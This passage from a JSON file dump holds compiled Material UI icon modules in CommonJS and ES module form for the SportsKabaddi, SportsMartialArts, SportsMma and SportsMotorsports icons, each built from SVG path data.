    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"2.38\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 11.88v-4.7l-5.05-2.14c-.97-.41-2.09-.06-2.65.84l-1 1.6c-.67 1.18-1.91 2.06-3.41 2.32l.06.06c.69.69 1.52 1.07 2.46 1.17.8-.42 1.52-.98 2.09-1.64l.6 3-1.16 1.1-.94.89v7.5h2v-6l2.1-2 1.8 8H23l-2.18-11-.62-3.1 1.8.7v3.4zM10.29 8.09c.22.15.47.24.72.29.13.02.25.04.38.04s.26-.01.38-.04c.13-.02.25-.06.37-.11.24-.1.47-.24.66-.44.49-.49.67-1.17.55-1.8-.07-.37-.25-.74-.55-1.03-.19-.19-.42-.34-.66-.44-.12-.05-.24-.09-.37-.11s-.25-.04-.38-.04c-.12 0-.23.01-.35.03-.14.02-.28.06-.41.11-.23.11-.46.26-.65.45-.3.29-.48.66-.55 1.03-.12.63.06 1.31.55 1.8.09.1.2.18.31.26\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.24 10.56-2-2c-.1-.1-.2-.18-.31-.26-.22-.14-.47-.24-.72-.28-.13-.03-.25-.04-.38-.04-.51 0-1.02.2-1.41.59l-3.34 3.34c-.41.41-.62.98-.58 1.54 0 .18.04.37.11.55l1.07 2.95-3.63 3.63L1.46 22l4.24-4.24v-2.22L7 16.75v5.13h2v-6l-2.12-2.12 2.36-2.36.71.71c1.29 1.26 2.97 2.04 5.03 2.04l-.14-2.07c-1.5-.02-2.7-.62-3.6-1.52\"\n}, \"2\")], 'SportsKabaddiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsKabaddiSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"2.38\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 11.88v-4.7l-5.05-2.14c-.97-.41-2.09-.06-2.65.84l-1 1.6c-.67 1.18-1.91 2.06-3.41 2.32l.06.06c.69.69 1.52 1.07 2.46 1.17.8-.42 1.52-.98 2.09-1.64l.6 3-1.16 1.1-.94.89v7.5h2v-6l2.1-2 1.8 8H23l-2.18-11-.62-3.1 1.8.7v3.4zM10.29 8.09c.22.15.47.24.72.29.13.02.25.04.38.04s.26-.01.38-.04c.13-.02.25-.06.37-.11.24-.1.47-.24.66-.44.49-.49.67-1.17.55-1.8-.07-.37-.25-.74-.55-1.03-.19-.19-.42-.34-.66-.44-.12-.05-.24-.09-.37-.11s-.25-.04-.38-.04c-.12 0-.23.01-.35.03-.14.02-.28.06-.41.11-.23.11-.46.26-.65.45-.3.29-.48.66-.55 1.03-.12.63.06 1.31.55 1.8.09.1.2.18.31.26\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.24 10.56-2-2c-.1-.1-.2-.18-.31-.26-.22-.14-.47-.24-.72-.28-.13-.03-.25-.04-.38-.04-.51 0-1.02.2-1.41.59l-3.34 3.34c-.41.41-.62.98-.58 1.54 0 .18.04.37.11.55l1.07 2.95-3.63 3.63L1.46 22l4.24-4.24v-2.22L7 16.75v5.13h2v-6l-2.12-2.12 2.36-2.36.71.71c1.29 1.26 2.97 2.04 5.03 2.04l-.14-2.07c-1.5-.02-2.7-.62-3.6-1.52\"\n}, \"2\")], 'SportsKabaddiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsKabaddiTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"2.38\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 11.88v-4.7l-5.05-2.14c-.97-.41-2.09-.06-2.65.84l-1 1.6c-.67 1.18-1.91 2.06-3.41 2.32l.06.06c.69.69 1.52 1.07 2.46 1.17.8-.42 1.52-.98 2.09-1.64l.6 3-1.16 1.1-.94.89v7.5h2v-6l2.1-2 1.8 8H23l-2.18-11-.62-3.1 1.8.7v3.4zM10.29 8.09c.22.15.47.24.72.29.13.02.25.04.38.04s.26-.01.38-.04c.13-.02.25-.06.37-.11.24-.1.47-.24.66-.44.49-.49.67-1.17.55-1.8-.07-.37-.25-.74-.55-1.03-.19-.19-.42-.34-.66-.44-.12-.05-.24-.09-.37-.11s-.25-.04-.38-.04c-.12 0-.23.01-.35.03-.14.02-.28.06-.41.11-.23.11-.46.26-.65.45-.3.29-.48.66-.55 1.03-.12.63.06 1.31.55 1.8.09.1.2.18.31.26\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.24 10.56-2-2c-.1-.1-.2-.18-.31-.26-.22-.14-.47-.24-.72-.28-.13-.03-.25-.04-.38-.04-.51 0-1.02.2-1.41.59l-3.34 3.34c-.41.41-.62.98-.58 1.54 0 .18.04.37.11.55l1.07 2.95-3.63 3.63L1.46 22l4.24-4.24v-2.22L7 16.75v5.13h2v-6l-2.12-2.12 2.36-2.36.71.71c1.29 1.26 2.97 2.04 5.03 2.04l-.14-2.07c-1.5-.02-2.7-.62-3.6-1.52\"\n}, \"2\")], 'SportsKabaddiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsKabaddiTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"2.38\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 11.88v-4.7l-5.05-2.14c-.97-.41-2.09-.06-2.65.84l-1 1.6c-.67 1.18-1.91 2.06-3.41 2.32l.06.06c.69.69 1.52 1.07 2.46 1.17.8-.42 1.52-.98 2.09-1.64l.6 3-1.16 1.1-.94.89v7.5h2v-6l2.1-2 1.8 8H23l-2.18-11-.62-3.1 1.8.7v3.4zM10.29 8.09c.22.15.47.24.72.29.13.02.25.04.38.04s.26-.01.38-.04c.13-.02.25-.06.37-.11.24-.1.47-.24.66-.44.49-.49.67-1.17.55-1.8-.07-.37-.25-.74-.55-1.03-.19-.19-.42-.34-.66-.44-.12-.05-.24-.09-.37-.11s-.25-.04-.38-.04c-.12 0-.23.01-.35.03-.14.02-.28.06-.41.11-.23.11-.46.26-.65.45-.3.29-.48.66-.55 1.03-.12.63.06 1.31.55 1.8.09.1.2.18.31.26\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.24 10.56-2-2c-.1-.1-.2-.18-.31-.26-.22-.14-.47-.24-.72-.28-.13-.03-.25-.04-.38-.04-.51 0-1.02.2-1.41.59l-3.34 3.34c-.41.41-.62.98-.58 1.54 0 .18.04.37.11.55l1.07 2.95-3.63 3.63L1.46 22l4.24-4.24v-2.22L7 16.75v5.13h2v-6l-2.12-2.12 2.36-2.36.71.71c1.29 1.26 2.97 2.04 5.03 2.04l-.14-2.07c-1.5-.02-2.7-.62-3.6-1.52\"\n}, \"2\")], 'SportsKabaddiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMartialArts.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.8 2-8.2 6.7-1.21-1.04 3.6-2.08L9.41 1 8 2.41l2.74 2.74L5 8.46l-1.19 4.29L6.27 17 8 16l-2.03-3.52.35-1.3L9.5 13l.5 9h2l.5-10L21 3.4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"5\",\n  cy: \"5\",\n  r: \"2\"\n}, \"1\")], 'SportsMartialArts');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMartialArts.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.8 2-8.2 6.7-1.21-1.04 3.6-2.08L9.41 1 8 2.41l2.74 2.74L5 8.46l-1.19 4.29L6.27 17 8 16l-2.03-3.52.35-1.3L9.5 13l.5 9h2l.5-10L21 3.4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"5\",\n  cy: \"5\",\n  r: \"2\"\n}, \"1\")], 'SportsMartialArts');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMartialArtsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.8 2-8.2 6.7-1.21-1.04 3.6-2.08L9.41 1 8 2.41l2.74 2.74L5 8.46l-1.19 4.29L6.27 17 8 16l-2.03-3.52.35-1.3L9.5 13l.5 9h2l.5-10L21 3.4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"5\",\n  cy: \"5\",\n  r: \"2\"\n}, \"1\")], 'SportsMartialArtsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMartialArtsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.8 2-8.2 6.7-1.21-1.04 3.6-2.08L9.41 1 8 2.41l2.74 2.74L5 8.46l-1.19 4.29L6.27 17 8 16l-2.03-3.52.35-1.3L9.5 13l.5 9h2l.5-10L21 3.4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"5\",\n  cy: \"5\",\n  r: \"2\"\n}, \"1\")], 'SportsMartialArtsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMartialArtsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.06 2.6 11.6 8.7l-1.21-1.04 2.48-1.43c.57-.33.67-1.11.21-1.57l-2.95-2.95a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.03 2.03-5.4 3.11c-.23.13-.39.35-.46.6l-.96 3.49c-.07.26-.04.53.1.77l1.74 3.02c.28.48.89.64 1.37.37.48-.28.64-.89.37-1.37l-1.53-2.66.36-1.29L9.5 13l.44 8c.03.56.49 1 1.05 1s1.02-.44 1.05-1l.45-9 7.87-7.96c.36-.36.38-.93.05-1.32-.34-.4-.94-.45-1.35-.12\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"5\",\n  cy: \"5\",\n  r: \"2\"\n}, \"1\")], 'SportsMartialArtsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMartialArtsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.06 2.6 11.6 8.7l-1.21-1.04 2.48-1.43c.57-.33.67-1.11.21-1.57l-2.95-2.95a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.03 2.03-5.4 3.11c-.23.13-.39.35-.46.6l-.96 3.49c-.07.26-.04.53.1.77l1.74 3.02c.28.48.89.64 1.37.37.48-.28.64-.89.37-1.37l-1.53-2.66.36-1.29L9.5 13l.44 8c.03.56.49 1 1.05 1s1.02-.44 1.05-1l.45-9 7.87-7.96c.36-.36.38-.93.05-1.32-.34-.4-.94-.45-1.35-.12\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"5\",\n  cy: \"5\",\n  r: \"2\"\n}, \"1\")], 'SportsMartialArtsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMartialArtsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.8 2-8.2 6.7-1.21-1.04 3.6-2.08L9.41 1 8 2.41l2.74 2.74L5 8.46l-1.19 4.29L6.27 17 8 16l-2.03-3.52.35-1.3L9.5 13l.5 9h2l.5-10L21 3.4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"5\",\n  cy: \"5\",\n  r: \"2\"\n}, \"1\")], 'SportsMartialArtsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMartialArtsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.8 2-8.2 6.7-1.21-1.04 3.6-2.08L9.41 1 8 2.41l2.74 2.74L5 8.46l-1.19 4.29L6.27 17 8 16l-2.03-3.52.35-1.3L9.5 13l.5 9h2l.5-10L21 3.4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"5\",\n  cy: \"5\",\n  r: \"2\"\n}, \"1\")], 'SportsMartialArtsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMartialArtsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.8 2-8.2 6.7-1.21-1.04 3.6-2.08L9.41 1 8 2.41l2.74 2.74L5 8.46l-1.19 4.29L6.27 17 8 16l-2.03-3.52.35-1.3L9.5 13l.5 9h2l.5-10L21 3.4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"5\",\n  cy: \"5\",\n  r: \"2\"\n}, \"1\")], 'SportsMartialArtsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMartialArtsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.8 2-8.2 6.7-1.21-1.04 3.6-2.08L9.41 1 8 2.41l2.74 2.74L5 8.46l-1.19 4.29L6.27 17 8 16l-2.03-3.52.35-1.3L9.5 13l.5 9h2l.5-10L21 3.4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"5\",\n  cy: \"5\",\n  r: \"2\"\n}, \"1\")], 'SportsMartialArtsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMma.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-3H7zM18 7c-.55 0-1 .45-1 1V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v5.8c0 .13.01.26.04.39l.8 4c.09.47.5.8.98.8h10.36c.45 0 .89-.36.98-.8l.8-4c.03-.13.04-.26.04-.39V8c0-.55-.45-1-1-1m-3 3H7V7h8z\"\n}), 'SportsMma');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMma.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-3H7zM18 7c-.55 0-1 .45-1 1V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v5.8c0 .13.01.26.04.39l.8 4c.09.47.5.8.98.8h10.36c.45 0 .89-.36.98-.8l.8-4c.03-.13.04-.26.04-.39V8c0-.55-.45-1-1-1m-3 3H7V7h8z\"\n}), 'SportsMma');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMmaOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-3H7zM18 7c-.55 0-1 .45-1 1V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v5.8c0 .13.01.26.04.39l.8 4c.09.47.5.8.98.8H17c.55 0 1.09-.44 1.2-.98l.77-3.83c.02-.12.03-.25.03-.38V8c0-.55-.45-1-1-1m-1 3.6c0 .13-.64 3.4-.64 3.4H7.64S7 10.74 7 10.6V5h8v5h2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 7h6v3H8z\"\n}, \"1\")], 'SportsMmaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMmaOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-3H7zM18 7c-.55 0-1 .45-1 1V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v5.8c0 .13.01.26.04.39l.8 4c.09.47.5.8.98.8H17c.55 0 1.09-.44 1.2-.98l.77-3.83c.02-.12.03-.25.03-.38V8c0-.55-.45-1-1-1m-1 3.6c0 .13-.64 3.4-.64 3.4H7.64S7 10.74 7 10.6V5h8v5h2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 7h6v3H8z\"\n}, \"1\")], 'SportsMmaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMmaRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-3H7zM18 7c-.55 0-1 .45-1 1V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v5.8c0 .13.01.26.04.39l.8 4c.09.47.5.8.98.8h10.36c.45 0 .89-.36.98-.8l.8-4c.03-.13.04-.26.04-.39V8c0-.55-.45-1-1-1m-4 3H8c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1\"\n}), 'SportsMmaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMmaRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-3H7zM18 7c-.55 0-1 .45-1 1V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v5.8c0 .13.01.26.04.39l.8 4c.09.47.5.8.98.8h10.36c.45 0 .89-.36.98-.8l.8-4c.03-.13.04-.26.04-.39V8c0-.55-.45-1-1-1m-4 3H8c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1\"\n}), 'SportsMmaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMmaSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17h10v4H7zM18 7c-.55 0-1 .45-1 1V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v5.8c0 .13.01.26.04.39l.8 4c.09.47.5.8.98.8h10.36c.45 0 .89-.36.98-.8l.8-4c.03-.13.04-.26.04-.39V8c0-.55-.45-1-1-1m-3 3H7V7h8z\"\n}), 'SportsMmaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMmaSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17h10v4H7zM18 7c-.55 0-1 .45-1 1V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v5.8c0 .13.01.26.04.39l.8 4c.09.47.5.8.98.8h10.36c.45 0 .89-.36.98-.8l.8-4c.03-.13.04-.26.04-.39V8c0-.55-.45-1-1-1m-3 3H7V7h8z\"\n}), 'SportsMmaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMmaTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 5H7v5.6c0 .14.64 3.4.64 3.4h8.72s.64-3.26.64-3.4V10h-2zm-1 5H8V7h6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-3H7zM18 7c-.55 0-1 .45-1 1V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v5.8c0 .13.01.26.04.39l.8 4c.09.47.5.8.98.8H17c.55 0 1.09-.44 1.2-.98l.77-3.83c.02-.12.03-.25.03-.38V8c0-.55-.45-1-1-1m-1 3.6c0 .13-.64 3.4-.64 3.4H7.64S7 10.74 7 10.6V5h8v5h2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 7h6v3H8z\"\n}, \"2\")], 'SportsMmaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMmaTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 5H7v5.6c0 .14.64 3.4.64 3.4h8.72s.64-3.26.64-3.4V10h-2zm-1 5H8V7h6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-3H7zM18 7c-.55 0-1 .45-1 1V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v5.8c0 .13.01.26.04.39l.8 4c.09.47.5.8.98.8H17c.55 0 1.09-.44 1.2-.98l.77-3.83c.02-.12.03-.25.03-.38V8c0-.55-.45-1-1-1m-1 3.6c0 .13-.64 3.4-.64 3.4H7.64S7 10.74 7 10.6V5h8v5h2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 7h6v3H8z\"\n}, \"2\")], 'SportsMmaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMotorsports.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11.39c0-.65-.39-1.23-.98-1.48L5.44 7.55c-1.48 1.68-2.32 3.7-2.8 5.45h7.75c.89 0 1.61-.72 1.61-1.61\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.96 11.22c-.41-4.41-4.56-7.49-8.98-7.2-2.51.16-4.44.94-5.93 2.04l4.74 2.01c1.33.57 2.2 1.87 2.2 3.32 0 1.99-1.62 3.61-3.61 3.61H2.21C2 16.31 2 17.2 2 17.2v.8c0 1.1.9 2 2 2h10c4.67 0 8.41-4.01 7.96-8.78\"\n}, \"1\")], 'SportsMotorsports');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsMotorsports.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11.39c0-.65-.39-1.23-.98-1.48L5.44 7.55c-1.48 1.68-2.32 3.7-2.8 5.45h7.75c.89 0 1.61-.72 1.61-1.61\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.96 11.22c-.41-4.41-4.56-7.49-8.98-7.2-2.51.16-4.44.94-5.93 2.04l4.74 2.01c1.33.57 2.2 1.87 2.2 3.32 0 1.99-1.62 3.61-3.61 3.61H2.21C2 16.31 2 17.2 2 17.2v.8c0 1.1.9 2 2 2h10c4.67 0 8.41-4.01 7.96-8.78\"\n}, \"1\")], 'SportsMotorsports');"
  },
  {
